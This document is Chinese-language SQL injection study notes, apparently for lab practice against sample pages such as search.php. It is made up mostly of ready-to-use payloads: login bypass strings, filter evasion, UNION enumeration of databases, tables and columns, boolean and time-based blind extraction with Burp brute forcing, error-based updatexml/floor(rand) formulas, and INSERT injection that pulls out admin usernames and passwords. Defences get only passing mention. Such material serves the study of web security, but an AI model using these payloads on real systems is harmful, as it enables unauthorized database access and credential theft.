SQL注入


万能密码

万能密码漏洞分析

基本知识:
mysql注释的几种方式
1 单行注释可以用"#"
2 单行注释的第二种写法用 "-- " 注意这个风格下"--【空格】" 也就是说“--" 与注释之间是有空格的
3 多行注释可以用/**/

举例

xxx' or 1#
user_name=xxx' or 1#&user_pass=123123123
欢迎:111

第一种形式
'or'='or'
直接测试
xxx' or 1#
xxx' or 1; -- aaaaa

第二种形式
截断绕过 %00直接截断后面的
11'or 1;%00/*
user_name='or 1=1;%00/*&user_pass=111
user_name='or 1=1;%0011111118&user_pass=111
漏洞修复 过滤字符串

防御的技巧:
addslashes
该函数会将'转义 可以对'进行url编码绕过 user_name=%27or 1#####&user_pass=111
mysqli_real_escape_string

联合注入 union

order by 爆破字段数 因为order by是按照字段排序 可以猜测字段数目

假设字段数目为2

union联合查询要求是左右两边的查询字段数相同

使用union联合查询检测信息回显位置

id=1 union select 1,2

union前面为假 显示后面的 前面的可以添加 and 1=2

由于页面只允许返回一行内容,所以我们修改参数1为-1,使需要查询的信息回返

id=-1 union select 1,2

id=-1 union select 1,database()

获取当前数据库名
id=-1 union select 1,group_concat(schema_name)from information_schema.schemata
获取所有数据库名

d=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'

查询数据库sqli表名

union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'

获取flag列所有字段名
获取指定数据库的表的列的内容

union select 1,group_concat(flag) from sqli.flag

布尔注入 and or

三个重要函数

mid(str,3,1) 字符串截取 从第三个字符开始截取一个字符
ORD('a') 转换成ASCII码 97
Length('abc') 统计字符串长度 3

对比

select * from comment where text like '%a%' and 1;
select * from comment where text like '%a%' and 0;

http://www.a.com/search.php?search=1%' and 1 %23%23%23;

判断数据库的长度
http://www.a.com/search.php?search=1%' and (select length(database()))=12%23%23%23
12

http://www.a.com/search.php?search=1%' and ord(mid(database(),1,1))=100 %23%23%23;

猜测一下我们的数据库的各个字符串
参数数据库
12

http://www.a.com/search.php?search=1%' and mid(database(),1,1)='d' %23%23%23;
d
e

我们借助burp进行爆破
BurpSuite intruder attack-type 4种爆破模式
Sniper 单参数爆破,多参数时同一个字典按顺序替换各参数,总之初始值有一个参数不变
Battering ram 多参数同时爆破,但用的是同一个字典
Pichfork 多参数同时爆破,但用的是不同的字典
Cluster bamb 多参数做笛卡尔乘积模式爆破
http://www.a.com/search.php?search=1%' and mid(database(),1,1)=XXX
GET /search.php?search=1%25%27+and+ord%28mid%28database%28%29%2C2%2C1%29%29%3D100+%23%23%23%3B HTTP/1.1

1-12
爆破出来 database = demo_comment

demo_comment

获取表
http://www.a.com/search.php?search=1%' and (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() )= 3%23%23%23;
表个数 3

http://www.a.com/search.php?search=1%' and (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() )=3 %23%23%23;

爆破表的名字
(select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1 )= 5 # &password=333
ord(mid( "admin" ,1,1 ))= 'a'
ord(mid( (select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1 ),2,1 )) = 'd'

爆破字段
(select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e ) = 8
字段长度
(select Length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1 ) = 2
字段内容
(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1 ) = 'id'
( select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 1,1 ) = ‘username’

爆破用户名和密码
Select Length(concat(username,"-----",password)) from admin limit 0,1
( Select Length(concat(username,"-----",password)) from admin limit 0,1 ) = 16
(Select concat(username,"-----",password) from admin limit 0,1 ) = 'admin-----123456'

union 直接查询数据库 --

and or 实质也就是一个个字符进行猜测的

延时注入 sleep

sleep if 语法

if(2>1,2,0) 如果第一个条件成立 返回2 失败返回0

技巧总结
select * from student where id=1 union select 1,2,sleep(3),4;
select * from student where id=1 and sleep(5);
select * from comment where text like '%a%' and sleep(2);

select sleep(if(3>2,5,1));
select if(3>5,0,1);

获取数据库总数:
http://www.a.com/search.php?search=1%' and Sleep( if( (SELECT count(SCHEMA_NAME) FROM information_schema.SCHEMATA) = 7 ,0,5 ) )%23%23%23;

总结:
http://www.a.com/search.php?search=1%' and Sleep( if( Length(database()) = 9 ,0,5 ) )%23%23%23;
1%' and Sleep( if( Length(database()) > 3 ,0,2 ) )%23%23%23;

猜测长度
http://www.a.com/search.php?search=1%' and Sleep( if( Length(database()) = 12 ,0,2 ) )%23%23%23;
http://www.a.com/search.php?search=1%' and Sleep( if( Length(database()) =12,0,2 ) )%23%23%23;

猜测每一个字符串

http://www.a.com/search.php?search=1%' and Sleep( if( ord(mid(database(),1,1)) = 100 ,0,2 ) )%23%23%23;
跟布尔注入差不多,即使走布尔注入的思路即可。

报错注入 mysql查询报错

updatexml函数

select * from admin where admin_id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

1、暴数据库:
and(select 1 from(select count(),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.schemata limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)

http://www.a.com/search.php?search=1%' and (select 1 from(select count(),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.schemata limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a);%23%23%23####

2、暴数据表:
and(select 1 from(select count(),concat((select (select (select concat(0x7e,table_name,0x7e))) from information_schema.tables where table_schema=0x64656D6F5F636F6D6D656E74 limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)

3、暴列名:
and(select 1 from(select count(),concat((select (select (select concat(0x7e,column_name,0x7e))) from information_schema.columns where table_schema=0x64656D6F5F636F6D6D656E74 and table_name=0x7573657273 limit 1,1),floor(rand(0)2))x from information_schema.tables group by x)a)

4、暴字段:
and(select 1 from(select count(),concat((select (select (select concat(0x7e,字段名,0x7e))) from 库名.表名 limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)

总结起来,就是一套已经成型的公式,然后用普通注入的方法进行注入就好了

addslashes

insert注入

insert into comment(username,text,pub_date) values("111","xxxx",now());
insert into comment(username,text,pub_date) values("111",(select version()),now());

string 'insert into comment(username,text,pub_date) values('xxx',' '+(select user())+' ',now())' (length=80)

'+(select user())+'
'+(select database())+'
判断有 insert 注入

string 'insert into comment(username,text,pub_date) values('xxx',''+(select user())+' ',now())' (length=86)

1 判断数据库的长度

'+(length(database())=10)+'
htmlentities < > &
string 'insert into comment(username,text,pub_date) values('xxx',''+(length(database())=10)+' ',now())' (length=97)

'+(length(database())=10)+'
string 'insert into comment(username,text,pub_date) values('xxx',''+(length(database())=10)+' ',now())' (length=94)

'+(length(database())=12)+' 1
数据库的长度是12
2 猜测数据库
demo_comment
100
'+(ord(mid(database(),1,1)) = 100)+'
'+(ord(mid(database(),1,1)) = 100)+'

根据结果判断真假 1的话为真 说明数据库的第一个字符就是d 0的话为假

demo_comment